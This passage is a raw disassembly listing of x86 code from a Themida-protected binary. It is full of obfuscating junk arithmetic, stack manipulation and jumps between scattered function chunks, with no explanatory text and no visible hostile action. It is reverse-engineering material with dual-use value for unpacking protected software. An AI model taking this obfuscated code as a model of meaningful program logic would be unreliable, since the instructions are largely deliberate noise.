SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00565D4E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00566D54 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00566E19 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005679F8 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005688CF SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A9BD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056B5E0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056C127 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D50D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056D9CA SIZE 00000032 BYTES ; FUNCTION CHUNK AT 0056E02C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056F187 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F982 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 005706B5 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005707C4 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 005714E0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00571C49 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00571D43 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0057352C SIZE 00000021 BYTES ; FUNCTION CHUNK AT 005738AC SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00574D22 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00574E3E SIZE 00000008 BYTES sub esp, 4 jmp loc_571C49 sub_568E5C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_568E67: ; CODE XREF: sub_56E96D+2335j add esp, 4 add ebx, 6A0137EEh xor ebx, 3D095B93h push ecx mov ecx, 1F983012h sub ecx, 3804464Dh shr ecx, 7 and ecx, 2A407362h sub ecx, 0E7E22144h add ebx, ecx pop ecx jmp loc_5688D9 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_568E99: ; CODE XREF: sub_566B37+C1E0j pop esp neg ebp xchg eax, ebp push 0F71h jmp loc_560385 ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_568EA7: ; CODE XREF: sub_56B11B+323Aj xchg ecx, [esp+4+var_4] pop esp mov [esp+0], edi mov edi, esp add edi, 4 jmp loc_563012 ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573876 loc_568EBB: ; CODE XREF: sub_573876-EB6Aj add esp, 4 sub [esp+arg_4], ebx pop ebx pop eax pop dword ptr [edi+40h] push ecx mov ecx, 288E1D9Fh jmp loc_56463B ; END OF FUNCTION CHUNK FOR sub_573876 ; --------------------------------------------------------------------------- loc_568ED5: ; CODE XREF: Themida_:00569179j mov ebx, esp push eax mov eax, 42483232h add eax, 207B4005h dec eax neg eax xor eax, 23F25896h sub eax, 0BECED558h jmp loc_570A55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_568EF4: ; CODE XREF: sub_56F1DB-C410j dec ebp add ebp, 0FFFFFFFFh shr ebp, 3 jmp loc_56FE40 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_568F03: ; CODE XREF: sub_571C0A-B01Dj mov edi, esp add edi, 4 jmp loc_56888C ; END OF FUNCTION CHUNK FOR sub_571C0A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_568F10: ; CODE XREF: sub_56FCD7+40B4j xchg ecx, [esp+10h+var_10] pop esp mov [esp+0Ch+var_C], edi mov edi, 4 jmp loc_5676AD ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566078 loc_568F21: ; CODE XREF: sub_566078+129Bj add ecx, 4 add ecx, 4 xchg ecx, [esp+4+var_4] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+4+var_4] pop esp mov [esp+0], ebx jmp sub_5747D7 ; END OF FUNCTION CHUNK FOR sub_566078 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B06D loc_568F46: ; CODE XREF: sub_56B06D+7D32j push esi mov esi, 7FD92608h sub [esp+1Ch+var_14], esi mov esi, [esp+1Ch+var_1C] push ebp jmp loc_57114E ; END OF FUNCTION CHUNK FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_568F59: ; CODE XREF: sub_573167-DE0Bj pop ebx pop [esp+4+var_4] mov esp, [esp+0] imul ecx, eax push ecx pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_568F6A: ; CODE XREF: sub_56C38F+3417j sub eax, 2D15B7h push edx push ebx mov ebx, 505D6179h jmp sub_5643EB ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_568F7B: ; CODE XREF: sub_56351E+210j shr edi, 4 jmp sub_566DFE ; END OF FUNCTION CHUNK FOR sub_56351E ; =============== S U B R O U T I N E ======================================= sub_568F83 proc near ; CODE XREF: sub_568D93+62E8j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 00562DBB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056BD9E SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056DA73 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005737A2 SIZE 00000017 BYTES push ebx mov ebx, 706B7832h and ebx, 371E1545h shl ebx, 2 jmp loc_56BD9E sub_568F83 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_568F97: ; CODE XREF: Themida_:005644CBj mov [esp], eax push 3C0Ah mov [esp], esp jmp loc_5609DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747D7 loc_568FA7: ; CODE XREF: sub_5747D7-42ACj pop edx xor ebx, [esp+0] jmp loc_56E8F5 ; END OF FUNCTION CHUNK FOR sub_5747D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_568FB0: ; CODE XREF: sub_574304-EDCFj mov esp, [esp+0] push 5EDAh mov [esp+0], edi push 7A050C04h pop edi push 1D13h mov [esp+4+var_4], ecx push esi push 701C57B7h pop esi push edx push ebp jmp loc_574E2A ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_568FD7: ; CODE XREF: sub_565632+B34Cj add edi, ecx jmp loc_56A99B ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5734A7 loc_568FDE: ; CODE XREF: sub_5734A7-CD34j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+1Ch+var_1C] mov esp, [esp+1Ch+var_1C] pop [esp+4+var_4] mov esp, [esp+0] jmp sub_56AE4B ; END OF FUNCTION CHUNK FOR sub_5734A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_568FFA: ; CODE XREF: sub_56657A-566Bj mov esp, [esp-4+arg_0] mov word ptr [esp-4+arg_0], cx jmp loc_5752BB ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_569006: ; CODE XREF: sub_571F6F-1F2Aj sub bl, ah mov eax, [esp+0Eh+var_E] jmp loc_566C11 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_569010: ; CODE XREF: sub_561418+DA31j add ecx, 440D019Ch jmp loc_56DC40 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573167 loc_56901B: ; CODE XREF: sub_573167-DE79j push esi sub esp, 4 jmp loc_565DA0 ; END OF FUNCTION CHUNK FOR sub_573167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5692D3 loc_569024: ; CODE XREF: sub_5692D3+9283j add esp, 4 sub esp, 4 mov [esp+8+var_8], edi push ecx push edx mov edx, 2B022D24h push eax mov eax, 1DA85C1Dh add eax, 0FCB11A8Dh or edx, eax pop eax xor edx, 2B2F1154h mov ecx, edx jmp loc_567F36 ; END OF FUNCTION CHUNK FOR sub_5692D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_569055: ; CODE XREF: sub_574949+15j xor dh, 78h sub ch, dh jmp loc_570024 ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_56905F: ; CODE XREF: sub_574FC9-8F06j pop edx add edi, 4 jmp loc_560F50 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_56906B: ; CODE XREF: sub_56616D-2B47j push [esp-14h+arg_10] pop edx sub esp, 4 jmp loc_56ADA2 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FAE2 loc_56907A: ; CODE XREF: sub_56FAE2-A146j sub edx, eax pop eax add ebx, edx pop edx add ebx, 64E64E03h sub ebx, ebp sub ebx, 64E64E03h sub ebx, 6317220h jmp loc_572412 ; END OF FUNCTION CHUNK FOR sub_56FAE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570B3C loc_569099: ; CODE XREF: sub_570B3C-94AFj push 7C39h jmp loc_56DF06 ; END OF FUNCTION CHUNK FOR sub_570B3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_5690A3: ; CODE XREF: sub_572DD7-A3B1j dec eax add eax, 0ADE10BF1h mov edx, eax mov eax, [esp+0Ch+var_C] add esp, 4 sub eax, edx pop edx add edi, eax pop eax push esi jmp loc_566B0E ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5690BD: ; CODE XREF: sub_56AB5E-68B5j xchg esi, [esp+8+var_8] jmp loc_562A80 ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C83E loc_5690C5: ; CODE XREF: sub_56C83E+1Fj shr ecx, 0Ah push 0EF0h mov [esp+4+var_4], ebx jmp loc_56F8D3 ; END OF FUNCTION CHUNK FOR sub_56C83E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_5690D5: ; CODE XREF: sub_570732-B105j xor ebp, [esp+0] xor [esp+0], ebp jmp loc_56B8EB ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_5690E0: ; CODE XREF: sub_569193-4ED1j sub ebp, eax pop eax jmp loc_575013 ; END OF FUNCTION CHUNK FOR sub_569193 ; =============== S U B R O U T I N E ======================================= sub_5690E8 proc near ; DATA XREF: Themida_:0055FDE4o var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562E16 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 00563B3E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00563CF4 SIZE 00000033 BYTES ; FUNCTION CHUNK AT 00564A13 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00565E7D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005664ED SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567DB1 SIZE 0000004A BYTES ; FUNCTION CHUNK AT 005689D1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569A96 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056A368 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 0056CFEA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056EB70 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056F76D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056FFD3 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00570240 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00573342 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0057386C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00574B70 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00574E57 SIZE 00000037 BYTES mov cx, [esp+0] push 0D47h mov [esp+4+var_4], edi push esp pop edi push ebp mov ebp, 4 add edi, ebp pop ebp push 3F69h mov [esp+8+var_8], ecx push eax mov eax, 24F361CAh jmp loc_56CFEA sub_5690E8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_569112: ; CODE XREF: sub_566117+7C87j push esp pop ebx add ebx, 4 push ecx mov ecx, 4F2B4CCDh jmp loc_5660C1 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566AF9 loc_569125: ; CODE XREF: sub_566AF9+54F5j push edx neg [esp+0Ch+var_C] jmp loc_561810 ; END OF FUNCTION CHUNK FOR sub_566AF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567049 loc_56912E: ; CODE XREF: sub_567049-2BD6j add ebp, 880FC670h mov edx, ebp pop ebp add ebx, edx jmp loc_5713EE ; END OF FUNCTION CHUNK FOR sub_567049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56959A loc_56913E: ; CODE XREF: sub_56959A+3E10j pop esi jmp loc_571703 ; END OF FUNCTION CHUNK FOR sub_56959A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_569144: ; CODE XREF: sub_560844+4723j push esi mov esi, 40474682h jmp sub_56FD97 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_56914F: ; CODE XREF: sub_574AF3-12932j shl dword ptr [esp+0], cl jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562954 loc_569157: ; CODE XREF: sub_562954+9j neg edi sub edi, 4E544DF3h add edi, 1 shl edi, 3 xor edi, 0F4C7348Ch sub edx, edi pop edi jmp loc_572F41 ; END OF FUNCTION CHUNK FOR sub_562954 ; --------------------------------------------------------------------------- loc_569173: ; CODE XREF: Themida_:0056384Bj mov esp, [esp] mov [esp], ebx jmp loc_568ED5 ; --------------------------------------------------------------------------- loc_56917E: ; CODE XREF: Themida_:005630B0j push dword ptr [esp] jmp loc_569797 ; =============== S U B R O U T I N E ======================================= sub_569186 proc near ; DATA XREF: Themida_:0055FE84o var_4 = dword ptr -4 push dword ptr [esp+0] push [esp+4+var_4] pop eax push eax jmp sub_56FD6F sub_569186 endp ; =============== S U B R O U T I N E ======================================= sub_569193 proc near ; CODE XREF: sub_564D26+D521j ; sub_564D26+D9C0j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560609 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005616AD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005636B3 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005638EC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005642B6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00564582 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00565C6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056646D SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00566B71 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005679B3 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00567E80 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005690E0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A35D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056ABFA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056AFB5 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056BEA5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056BFBE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E4C7 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E6D3 SIZE 0000003B BYTES ; FUNCTION CHUNK AT 0056E916 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056ECA9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F1E1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056F712 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00570352 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 005708A7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00570C2D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00574185 SIZE 0000003C BYTES ; FUNCTION CHUNK AT 005749C3 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005749FD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00575013 SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], ebx push esp mov ebx, [esp+8+var_8] add esp, 4 add ebx, 4 jmp loc_56E4C7 sub_569193 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_5691AB: ; CODE XREF: sub_56651E+1123j pop edx shl ebp, 7 jmp sub_565632 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AB5E loc_5691B4: ; CODE XREF: sub_56AB5E+11j sub dh, al push ax mov al, 90h add dh, al pop ax pop eax push edx mov edx, esp add edx, 4 push ecx mov ecx, 39FF602Ah push ebp mov ebp, 1CD06912h sub ecx, ebp pop ebp jmp loc_562BFE ; END OF FUNCTION CHUNK FOR sub_56AB5E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B577 loc_5691DC: ; CODE XREF: sub_56B577-43A1j add ebp, 6BE449Bh jmp loc_56E621 ; END OF FUNCTION CHUNK FOR sub_56B577 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D855 loc_5691E7: ; CODE XREF: sub_56D855-9E42j add ecx, 4 xor ecx, [esp+10h+var_10] xor [esp+10h+var_10], ecx jmp loc_5648BA ; END OF FUNCTION CHUNK FOR sub_56D855 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_5691F5: ; CODE XREF: sub_56AEF2+A30Ej mov esp, [esp-8+arg_4] add esp, 4 movzx ax, byte ptr [eax] push 3A53h mov [esp-8+arg_4], ebx sub esp, 4 mov [esp-4+arg_0], esp jmp loc_5693EC ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561F05 loc_569215: ; CODE XREF: sub_561F05+60ACj mov [esp+8+var_8], esi push [esp+8+var_4] pop esi pop [esp+8+var_8] mov esp, [esp+4+var_4] bswap eax jmp loc_561D6B ; END OF FUNCTION CHUNK FOR sub_561F05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_56922A: ; CODE XREF: sub_574656-51A8j sub eax, 4 xchg eax, [esp+0] pop esp mov [esp-4+arg_0], eax push 8155DC7h pop eax push edi mov edi, 413342B2h jmp loc_571294 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_569247: ; CODE XREF: sub_574A21-120F5j mov edx, 2951290Eh jmp loc_56DB1A ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56749A loc_569251: ; CODE XREF: sub_56749A+3374j add esi, 4 jmp loc_56017D ; END OF FUNCTION CHUNK FOR sub_56749A ; =============== S U B R O U T I N E ======================================= sub_56925C proc near ; CODE XREF: sub_561541+D3AFj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 005727F9 SIZE 0000000C BYTES push ebp mov ebp, 4 push ebp add [esp+8+var_8], 287E09D3h pop edi jmp loc_5727F9 sub_56925C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5722C8 loc_569270: ; CODE XREF: sub_5722C8-AD81j add esp, 4 movsx ecx, ax push 5144h jmp loc_573CBB ; END OF FUNCTION CHUNK FOR sub_5722C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_569280: ; CODE XREF: sub_574A21-6EF4j add esi, edx pop edx add esi, 4 xchg esi, [esp+0Ch+var_C] pop esp xor esi, 2C3E0101h add eax, esi push [esp+8+var_8] mov esi, [esp+0Ch+var_C] add esp, 4 jmp loc_567FD8 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_5692A3: ; CODE XREF: sub_5634AF+11F42j neg eax add eax, 0FFFFFFFFh jmp loc_571175 ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_5692AF: ; CODE XREF: sub_563FA2+108A6j mov ebx, 39325933h xor ebx, 350477E4h jmp loc_5672C1 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574949 loc_5692BF: ; CODE XREF: sub_574949-1430Bj pop ecx push edi jmp loc_571E6E ; END OF FUNCTION CHUNK FOR sub_574949 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C0A loc_5692C6: ; CODE XREF: sub_571C0A-EC54j push 55BBh mov [esp+4+var_4], eax jmp loc_5605CD ; END OF FUNCTION CHUNK FOR sub_571C0A ; =============== S U B R O U T I N E ======================================= sub_5692D3 proc near ; DATA XREF: Themida_:0055FE78o var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00565F4F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00567E98 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00567F36 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00569024 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056C13E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056E1F0 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00572349 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00572552 SIZE 00000009 BYTES mov ax, [esp+0] push ecx sub esp, 4 mov [esp+8+var_8], esp push 2205h jmp loc_56C13E sub_5692D3 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56241E loc_5692EB: ; CODE XREF: sub_56241E+A254j xor si, 0C52h dec si push dx mov dx, 0A1h add si, dx pop dx xor si, 7B46h add ax, si pop esi mov di, word ptr [esp+8+var_8] add esp, 2 sub ax, dx sub esp, 4 mov [esp+8+var_8], ebx jmp loc_57394F ; END OF FUNCTION CHUNK FOR sub_56241E ; =============== S U B R O U T I N E ======================================= sub_56931E proc near ; DATA XREF: Themida_:0055FDA8o push dword ptr [edi+1Ch] popf pop ax sbb [esp+0], ax pushf jmp loc_55FF9F sub_56931E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_56932E: ; CODE XREF: sub_563A7F-3324j push 17C5720Ch push [esp+0Ch+var_C] pop esi push ebp push esp pop ebp add ebp, 4 push edi mov edi, 4 add ebp, edi pop edi xchg ebp, [esp+10h+var_10] mov esp, [esp+10h+var_10] sub esp, 4 mov [esp+14h+var_14], eax mov eax, 5EEF4D95h or esi, eax pop eax push edx jmp loc_56EF2A ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_569366: ; CODE XREF: sub_56638C-4CE4j pop ebp xchg esi, [esp+8+var_8] jmp loc_5729CA ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_56936F: ; CODE XREF: sub_561418+11329j mov eax, 4 add ecx, 0D477259h push edx mov edx, 6EDE47E8h jmp loc_562160 ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_569385: ; CODE XREF: sub_566C83+1Aj pop ebx mov edi, [esp-4+arg_0] jmp loc_571011 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575420 loc_56938E: ; CODE XREF: sub_575420-1278Dj push small 0 sub byte ptr [esp+0Ch+var_C], cl jmp loc_569D4A ; END OF FUNCTION CHUNK FOR sub_575420 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A75 loc_56939A: ; CODE XREF: sub_569A75-236Aj shl dh, 1 jmp loc_56FFB0 ; END OF FUNCTION CHUNK FOR sub_569A75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B1DC loc_5693A1: ; CODE XREF: sub_56B1DC-477Cj neg ebx jmp loc_56033F ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C38F loc_5693A8: ; CODE XREF: sub_56C38F+630Dj xor ecx, 0E334007h and ecx, 6F5494Eh sub ecx, 0CABFC8D2h mov edi, ecx pop ecx mov ebp, edi jmp loc_5750D2 ; END OF FUNCTION CHUNK FOR sub_56C38F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_5693C4: ; CODE XREF: sub_56616D+DBB7j sub ecx, edx add ecx, 7FF950FDh jmp loc_56E30A ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574CDD loc_5693D1: ; CODE XREF: sub_574CDD-108E3j sub ecx, 751A62D7h add ecx, 65EB746Eh pop esi push ecx push dword ptr [esp+4] pop ecx pop [esp+4+var_4] jmp loc_56362B ; END OF FUNCTION CHUNK FOR sub_574CDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_5693EC: ; CODE XREF: sub_56AEF2-1CE2j add [esp-4+arg_0], 4 mov ebx, [esp-4+arg_0] push ebp mov ebp, esp jmp loc_574481 ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; --------------------------------------------------------------------------- loc_5693FB: ; CODE XREF: Themida_:0056A079j pop eax not eax sub eax, 8044B7F1h jmp loc_56CDAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F3B2 loc_569408: ; CODE XREF: sub_56F3B2-2A5Aj sub eax, 4 xchg eax, [esp+4+var_4] pop esp mov [esp+0], edi sub esp, 4 mov [esp+4+var_4], esp add [esp+4+var_4], 4 jmp loc_56CE2A ; END OF FUNCTION CHUNK FOR sub_56F3B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_569424: ; CODE XREF: sub_56E126-DD54j xor ebx, 0EA41F955h xor esi, ebx pop ebx mov ecx, esi pop esi add ecx, 1 jmp loc_568D11 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_569438: ; CODE XREF: sub_574F16-F757j mov ah, dl mov cl, ah mov eax, [esp+10h+var_12+2] jmp loc_56D4FB ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D359 loc_569444: ; CODE XREF: sub_56D359-3900j xor eax, [esp+8+var_8] pop esp xor [esp+4+var_4], eax jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56D359 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F1DB loc_569450: ; CODE XREF: sub_56F1DB-A4C9j mov edx, 7FC53C21h dec edx jmp loc_56C934 ; END OF FUNCTION CHUNK FOR sub_56F1DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5606E3 loc_56945B: ; CODE XREF: sub_5606E3+595Ej pop ebp add esi, 1FAF11D8h jmp loc_565E83 ; END OF FUNCTION CHUNK FOR sub_5606E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_569467: ; CODE XREF: sub_5685B2+C033j pop esp mov [esp-10h+arg_C], ebx push 2E43h mov [esp-0Ch+arg_8], ebp mov ebp, eax push ebp mov ebx, [esp-8+arg_4] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-4+arg_0] pop esp push [esp-8+arg_4] mov ebp, [esp-4+arg_0] add esp, 4 sub esp, 4 mov [esp-4+arg_0], ebp push esp mov ebp, [esp+0] add esp, 4 add ebp, 4 push ecx jmp loc_562C78 ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- loc_5694B4: ; CODE XREF: Themida_:00568862j mov [esp], esi sub 